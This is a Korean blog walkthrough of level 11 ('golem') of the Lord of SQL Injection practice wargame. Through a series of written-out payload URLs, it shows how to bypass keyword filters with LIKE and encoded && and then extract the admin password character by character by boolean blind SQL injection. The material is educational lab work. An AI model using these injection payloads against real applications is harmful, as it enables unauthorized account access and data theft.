상세 컨텐츠

본문 제목

[Lord of SQL Injection] golem 11번 풀이

[Tech] War Game/Lord of SQL Injection

by tech-dailylife 2020. 8. 14. 18:29

본문

반응형

사이트 주소 : https://los.rubiya.kr/

 

11번 문제 golem 입니다.

 

[문제 접근]

query를 보면 pw 값을 맞춰야하는 것 같네요. pw를 알아내기 위해 substr을 사용하고 싶지만 필터링이 되어 있어보이네요. 다른 방법을 써야 합니다.

substr과 ascii 함수가 사용하기 좋지만, 필터링이 된 경우에는 like 연산자를 사용할 수 있습니다.

 

?pw=0'||id like 'admin'%26%26'1' like '1'%23

id가 admin이랑 like 하고 1이 1과 like하면 이라는 조건이 되니, Hello admin이 찍힙니다.

참고 : and를 필터링하기 때문에 &&의 URL 인코딩 값인 %26%26을 넣은 것입니다.

?pw=0'||id like 'admin'%26%26'1' like '2'%23

1 like 1을 1 like 2로 바꿔 거짓으로 쿼리를 날리면 Hello admin이 찍히지 않습니다.

이 포인트를 가지고 Blind 인젝션을 하겠습니다.

 

먼저 pw의 길이를 알아보기 위해 length 함수를 사용합니다.

대략 6, 7, 8 올리면서 시도해보면 8에서 Hello admin이 출력됩니다.

?pw=0'||id like 'admin'%26%26length(pw) like '8'%23

이제 id 가 admin인 계정의 pw 길이는 8자리로 알아냈습니다.

그럼 1자리씩 일일히 시도 해보겠습니다.

like를 쓸 때 'pw' like '1%' 이런 식으로 하면 1로 시작되는 것을 알아볼 수 있는 점을 이용합니다.

 

 

?pw=0'||id like 'admin'%26%26pw like '7%'%23

pw는 7로 시작되는 8자리입니다.

 

?pw=0'||id like 'admin'%26%26pw like '77%'%23

pw는 77로 시작되는 8자리입니다.

 

?pw=0'||id like 'admin'%26%26pw like '77d%'%23

pw는 77d로 시작되는 8자리입니다.

 

?pw=0'||id like 'admin'%26%26pw like '77d6%'%23

pw는 77d6로 시작되는 8자리입니다.

?pw=0'||id like 'admin'%26%26pw like '77d62%'%23

pw는 77d62로 시작되는 8자리입니다.

 

?pw=0'||id like 'admin'%26%26pw like '77d629%'%23

pw는 77d629로 시작되는 8자리입니다.

 

?pw=0'||id like 'admin'%26%26pw like '77d6290%'%23

pw는 77d6290로 시작되는 8자리입니다.

 

?pw=0'||id like 'admin'%26%26pw like '77d6290b'%23

pw는 77d6290b입니다.

 

 

 

[문제 정답]

정답 : ?pw=77d6290b

"GOLEM Clear!" 가 나타납니다. 정답!

다음 스테이지로 넘어가시죠~

 

 

like를 사용하여 비교가 가능하다는 점이 포인트이네요. 그리고 이렇게 사용할 때는 너무 수작업 공수가 많이 들어 다른 쿼리나 다른 방법을 사용하는 것이 좋을 것 같네요..

 

참고로 아래 쿼리로도 가능합니다. ascii와 mid 함수를 사용합니다. substr이 필터링되었기 떄문에 대체할 수 있는 mid 등의 함수를 활용하는 것이 더 편리하겠네요. like 보다는..

 

이해와 공부 목적으로 일일히 수동적으로 입력했지만, 다음 문제부터는 Burp Suite 툴을 좀 활용해보겠습니다.

(그 것도 하나의 방법이니 익혀두면은 유용합니다.)

반응형

관련글 더보기

댓글 영역